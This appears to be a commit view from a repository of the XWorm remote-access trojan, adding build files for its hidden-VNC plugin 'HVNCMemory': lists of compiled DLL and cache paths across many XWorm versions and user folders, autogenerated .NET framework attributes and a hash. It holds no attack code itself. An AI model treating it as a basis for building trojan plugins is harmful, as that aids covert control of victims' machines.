||||
C:\Users\XCoder\Desktop\XWorm V5.2\XWorm V5.2\XWorm V5.2\Dark Worm\Plugins\HVNCMemory\HVNC\obj\Debug\HVNCMemory.dll
|
||||
C:\Users\XCoder\Desktop\XWorm V5.2 Optimized\XWorm V5.2\XWorm V5.2\XWorm V5.2\Dark Worm\Dark Worm\bin\Debug\Plugins\HVNCMemory.dll
|
||||
C:\Users\XCoder\Desktop\XWorm V5.2 Optimized\XWorm V5.2\XWorm V5.2\XWorm V5.2\Dark Worm\Plugins\HVNCMemory\HVNC\obj\Debug\HVNCMemory.csproj.CoreCompileInputs.cache
|
||||
C:\Users\XCoder\Desktop\XWorm V5.2 Optimized\XWorm V5.2\XWorm V5.2\XWorm V5.2\Dark Worm\Plugins\HVNCMemory\HVNC\obj\Debug\HVNCMemory.dll
|
||||
C:\Users\XCoder\Desktop\XWorm V5.3 Optimized\XWorm V5.3\XWorm V5.3\XWorm V5.3\Dark Worm\Dark Worm\bin\Debug\Plugins\HVNCMemory.dll
|
||||
C:\Users\XCoder\Desktop\XWorm V5.3 Optimized\XWorm V5.3\XWorm V5.3\XWorm V5.3\Dark Worm\Plugins\HVNCMemory\HVNC\obj\Debug\HVNCMemory.csproj.CoreCompileInputs.cache
|
||||
C:\Users\XCoder\Desktop\XWorm V5.3 Optimized\XWorm V5.3\XWorm V5.3\XWorm V5.3\Dark Worm\Plugins\HVNCMemory\HVNC\obj\Debug\HVNCMemory.dll
|
||||
C:\Users\XCoder\Desktop\XWorm V5.4 Optimized\XWorm V5.4\XWorm V5.4\Dark Worm\Dark Worm\bin\Debug\Plugins\HVNCMemory.dll
|
||||
C:\Users\XCoder\Desktop\XWorm V5.4 Optimized\XWorm V5.4\XWorm V5.4\Dark Worm\Plugins\HVNCMemory\HVNC\obj\Debug\HVNCMemory.csproj.CoreCompileInputs.cache
|
||||
C:\Users\XCoder\Desktop\XWorm V5.4 Optimized\XWorm V5.4\XWorm V5.4\Dark Worm\Plugins\HVNCMemory\HVNC\obj\Debug\HVNCMemory.dll
|
||||
C:\Users\XCoder\Desktop\XWorm V5.4 Optimized\XWorm V5.4\XWorm V5.4\Dark Worm\Plugins\HVNCMemory\HVNC\obj\Debug\HVNCMemory.csproj.AssemblyReference.cache
|
||||
C:\Users\XCoder\Desktop\XWorm V5.5 Optimized\XWorm V5.5\XWorm V5.5\Dark Worm\Dark Worm\bin\Debug\Plugins\HVNCMemory.dll
|
||||
C:\Users\XCoder\Desktop\XWorm V5.5 Optimized\XWorm V5.5\XWorm V5.5\Dark Worm\Plugins\HVNCMemory\HVNC\obj\Debug\HVNCMemory.csproj.CoreCompileInputs.cache
|
||||
C:\Users\XCoder\Desktop\XWorm V5.5 Optimized\XWorm V5.5\XWorm V5.5\Dark Worm\Plugins\HVNCMemory\HVNC\obj\Debug\HVNCMemory.dll
|
||||
C:\Users\XCoder\Desktop\XWorm V5.5 Optimized\XWorm V5.5\XWorm V5.5\Dark Worm\Plugins\HVNCMemory\HVNC\obj\Debug\HVNCMemory.csproj.AssemblyReference.cache
|
||||
C:\Users\XCoder\Desktop\XWorm V5.5 Optimized\XWorm V5.5\XWorm\Dark Worm\bin\Debug\Plugins\HVNCMemory.dll
|
||||
C:\Users\XCoder\Desktop\XWorm V5.5 Optimized\XWorm V5.5\XWorm\Plugins\HVNCMemory\HVNC\obj\Debug\HVNCMemory.csproj.AssemblyReference.cache
|
||||
C:\Users\XCoder\Desktop\XWorm V5.5 Optimized\XWorm V5.5\XWorm\Plugins\HVNCMemory\HVNC\obj\Debug\HVNCMemory.csproj.CoreCompileInputs.cache
|
||||
C:\Users\XCoder\Desktop\XWorm V5.5 Optimized\XWorm V5.5\XWorm\Plugins\HVNCMemory\HVNC\obj\Debug\HVNCMemory.dll
|
||||
C:\Users\XCoder\Desktop\XWorm V5.6 Optimized\XWorm V5.6\XWorm\Dark Worm\bin\Debug\Plugins\HVNCMemory.dll
|
||||
C:\Users\XCoder\Desktop\XWorm V5.6 Optimized\XWorm V5.6\XWorm\Plugins\HVNCMemory\HVNC\obj\Debug\HVNCMemory.csproj.AssemblyReference.cache
|
||||
C:\Users\XCoder\Desktop\XWorm V5.6 Optimized\XWorm V5.6\XWorm\Plugins\HVNCMemory\HVNC\obj\Debug\HVNCMemory.csproj.CoreCompileInputs.cache
|
||||
C:\Users\XCoder\Desktop\XWorm V5.6 Optimized\XWorm V5.6\XWorm\Plugins\HVNCMemory\HVNC\obj\Debug\HVNCMemory.dll
|
||||
C:\Users\XCoder\Desktop\Programs\XWorm V5.6 Optimized\XWorm V5.6\XWorm\Dark Worm\bin\Debug\Plugins\HVNCMemory.dll
|
||||
C:\Users\XCoder\Desktop\Programs\XWorm V5.6 Optimized\XWorm V5.6\XWorm\Plugins\HVNCMemory\HVNC\obj\Debug\HVNCMemory.csproj.CoreCompileInputs.cache
|
||||
C:\Users\XCoder\Desktop\Programs\XWorm V5.6 Optimized\XWorm V5.6\XWorm\Plugins\HVNCMemory\HVNC\obj\Debug\HVNCMemory.dll
|
||||
C:\Users\HP\Desktop\XWorm V5.6 Optimized\XWorm V5.6\XWorm\Dark Worm\bin\Debug\Plugins\HVNCMemory.dll
|
||||
C:\Users\HP\Desktop\XWorm V5.6 Optimized\XWorm V5.6\XWorm\Plugins\HVNCMemory\HVNC\obj\Debug\HVNCMemory.csproj.CoreCompileInputs.cache
|
||||
C:\Users\HP\Desktop\XWorm V5.6 Optimized\XWorm V5.6\XWorm\Plugins\HVNCMemory\HVNC\obj\Debug\HVNCMemory.dll
|
||||
C:\Users\HP\Desktop\XWorm V5.6 Optimized\XWorm V5.6\XWorm\Plugins\HVNCMemory\HVNC\obj\Debug\HVNCMemory.csproj.AssemblyReference.cache
|
||||
C:\Users\HP\Desktop\XWorm V5.6 Optimized - USER HERE\XWorm V5.6\XWorm\Dark Worm\bin\Debug\Plugins\HVNCMemory.dll
|
||||
C:\Users\HP\Desktop\XWorm V5.6 Optimized - USER HERE\XWorm V5.6\XWorm\Plugins\HVNCMemory\HVNC\obj\Debug\HVNCMemory.csproj.CoreCompileInputs.cache
|
||||
C:\Users\HP\Desktop\XWorm V5.6 Optimized - USER HERE\XWorm V5.6\XWorm\Plugins\HVNCMemory\HVNC\obj\Debug\HVNCMemory.dll
|
||||
C:\Users\HP\Desktop\XWorm V5.6 Optimized - USER HERE\XWorm V5.6\XWorm\Plugins\HVNCMemory\HVNC\obj\Debug\HVNCMemory.csproj.AssemblyReference.cache
|
||||
C:\Users\Brwa\Desktop\NK\XWorm V6.0 Source Code\XWorm V6.0\Dark Worm\bin\Debug\Plugins\HVNCMemory.dll
|
||||
C:\Users\Brwa\Desktop\NK\XWorm V6.0 Source Code\XWorm V6.0\Plugins\HVNCMemory\HVNC\obj\Debug\HVNCMemory.dll
|
||||
C:\Users\Brwa\Desktop\NK\XWorm V6.0 Source Code\XWorm V6.0\Plugins\HVNCMemory\HVNC\obj\Debug\HVNCMemory.csprojAssemblyReference.cache
|
||||
C:\Users\Brwa\Desktop\NK\XWorm V6.0 Source Code\XWorm V6.0 SC\Dark Worm\bin\Debug\Plugins\HVNCMemory.dll
|
||||
C:\Users\Brwa\Desktop\NK\XWorm V6.0 Source Code\XWorm V6.0 SC\Plugins\HVNCMemory\HVNC\obj\Debug\HVNCMemory.dll
|
||||
C:\Users\Brwa\Desktop\NK\XWorm V6.0 SC Recovery\Dark Worm\bin\Debug\Plugins\HVNCMemory.dll
|
||||
C:\Users\Brwa\Desktop\NK\XWorm V6.0 SC Recovery\Plugins\HVNCMemory\HVNC\obj\Debug\HVNCMemory.dll
|
||||
C:\Users\Brwa\Desktop\NK\XWorm V6.0 SC Recovery - Copy\Dark Worm\bin\Debug\Plugins\HVNCMemory.dll
|
||||
C:\Users\Brwa\Desktop\NK\XWorm V6.0 SC Recovery - Copy\Plugins\HVNCMemory\HVNC\obj\Debug\HVNCMemory.dll
|
||||
C:\Users\Brwa\Desktop\NK\XWorm V6.0 SC Recovery - Fixed RCE - Auto\Dark Worm\bin\Debug\Plugins\HVNCMemory.dll
|
||||
C:\Users\Brwa\Desktop\NK\XWorm V6.0 SC Recovery - Fixed RCE - Auto\Plugins\HVNCMemory\HVNC\obj\Debug\HVNCMemory.dll
|
||||
C:\Users\Brwa\Desktop\NK\XWorm V6.0 SC Recovery - Fixed RCE - Auto\Plugins\HVNCMemory\HVNC\obj\Debug\HVNCMemory.csprojAssemblyReference.cache
|
||||
C:\Users\Brwa\Desktop\NK\XWorm V6.0 SC Recovery - Fixed RCE - AutoDatabase\Dark Worm\bin\Debug\Plugins\HVNCMemory.dll
|
||||
C:\Users\Brwa\Desktop\NK\XWorm V6.0 SC Recovery - Fixed RCE - AutoDatabase\Plugins\HVNCMemory\HVNC\obj\Debug\HVNCMemory.dll
|
||||
C:\Users\Brwa\Desktop\NK\XWorm V6.0 SC Recovery - Fixed RCE - AutoDatabase\Plugins\HVNCMemory\HVNC\obj\Debug\HVNCMemory.csprojAssemblyReference.cache
|
||||
C:\Users\Brwa\Desktop\NK\XWorm V6.0 SC Recovery - Fixed RCE - AutoDatabase 2\Dark Worm\bin\Debug\Plugins\HVNCMemory.dll
|
||||
C:\Users\Brwa\Desktop\NK\XWorm V6.0 SC Recovery - Fixed RCE - AutoDatabase 2\Plugins\HVNCMemory\HVNC\obj\Debug\HVNCMemory.dll
|
||||
C:\Users\Brwa\Desktop\NK\XWorm V6.3 SC Recovery - Fixed RCE - AutoDatabase 2\Dark Worm\bin\Debug\Plugins\HVNCMemory.dll
|
||||
C:\Users\Brwa\Desktop\NK\XWorm V6.3 SC Recovery - Fixed RCE - AutoDatabase 2\Plugins\HVNCMemory\HVNC\obj\Debug\HVNCMemory.csprojAssemblyReference.cache
|
||||
C:\Users\Brwa\Desktop\NK\XWorm V6.3 SC Recovery - Fixed RCE - AutoDatabase 2\Plugins\HVNCMemory\HVNC\obj\Debug\HVNCMemory.dll
|
||||
C:\Users\byt3d4sh\Desktop\XWorm SRC\XWorm\bin\Debug\Plugins\HVNCMemory.dll
|
||||
C:\Users\byt3d4sh\Desktop\XWorm SRC\Plugins\HVNCMemory\HVNC\obj\Debug\HVNCMemory.csproj.AssemblyReference.cache
|
||||
C:\Users\byt3d4sh\Desktop\XWorm SRC\Plugins\HVNCMemory\HVNC\obj\Debug\HVNCMemory.csproj.CoreCompileInputs.cache
|
||||
C:\Users\byt3d4sh\Desktop\XWorm SRC\Plugins\HVNCMemory\HVNC\obj\Debug\HVNCMemory.dll
|
||||
C:\Users\byt3d4sh\Desktop\Projects\XWorm SRC\XWorm\bin\Debug\Plugins\HVNCMemory.dll
|
||||
C:\Users\byt3d4sh\Desktop\Projects\XWorm SRC\Plugins\HVNCMemory\HVNC\obj\Debug\HVNCMemory.csproj.AssemblyReference.cache
|
||||
C:\Users\byt3d4sh\Desktop\Projects\XWorm SRC\Plugins\HVNCMemory\HVNC\obj\Debug\HVNCMemory.csproj.CoreCompileInputs.cache
|
||||
C:\Users\byt3d4sh\Desktop\Projects\XWorm SRC\Plugins\HVNCMemory\HVNC\obj\Debug\HVNCMemory.dll
|
||||
C:\Users\byt3d4sh\Desktop\src 2\XWorm\bin\Debug\Plugins\HVNCMemory.dll
|
||||
C:\Users\byt3d4sh\Desktop\src 2\Plugins\HVNCMemory\HVNC\obj\Debug\HVNCMemory.csproj.AssemblyReference.cache
|
||||
C:\Users\byt3d4sh\Desktop\src 2\Plugins\HVNCMemory\HVNC\obj\Debug\HVNCMemory.csproj.CoreCompileInputs.cache
|
||||
C:\Users\byt3d4sh\Desktop\src 2\Plugins\HVNCMemory\HVNC\obj\Debug\HVNCMemory.dll
|
||||
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
@@ -0,0 +1,4 @@
|
||||
// <autogenerated />
|
||||
using System;
|
||||
using System.Reflection;
|
||||
[assembly: global::System.Runtime.Versioning.TargetFrameworkAttribute(".NETFramework,Version=v4.0", FrameworkDisplayName = ".NET Framework 4")]
|
||||
@@ -0,0 +1,4 @@
|
||||
// <autogenerated />
|
||||
using System;
|
||||
using System.Reflection;
|
||||
[assembly: global::System.Runtime.Versioning.TargetFrameworkAttribute(".NETFramework,Version=v4.8", FrameworkDisplayName = ".NET Framework 4.8")]
|
||||
Binary file not shown.
@@ -0,0 +1 @@
|
||||
d0a54b56f49e99959cb7b806b9ecdfb218c6ad203edd1fcc4b438d4a68ace6a7
|
||||
@@ -0,0 +1,6 @@
|
||||
C:\Users\byt3d4sh\Desktop\XWorm SRC\Plugins\HVNCMemory\HVNC\bin\Release\HVNCMemory.dll
|
||||
C:\Users\byt3d4sh\Desktop\XWorm SRC\Plugins\HVNCMemory\HVNC\bin\Release\HVNCMemory.pdb
|
||||
C:\Users\byt3d4sh\Desktop\XWorm SRC\Plugins\HVNCMemory\HVNC\obj\Release\HVNCMemory.csproj.AssemblyReference.cache
|
||||
C:\Users\byt3d4sh\Desktop\XWorm SRC\Plugins\HVNCMemory\HVNC\obj\Release\HVNCMemory.csproj.CoreCompileInputs.cache
|
||||
C:\Users\byt3d4sh\Desktop\XWorm SRC\Plugins\HVNCMemory\HVNC\obj\Release\HVNCMemory.dll
|
||||
C:\Users\byt3d4sh\Desktop\XWorm SRC\Plugins\HVNCMemory\HVNC\obj\Release\HVNCMemory.pdb
|
||||
Binary file not shown.
Binary file not shown.
Reference in New Issue
Block a user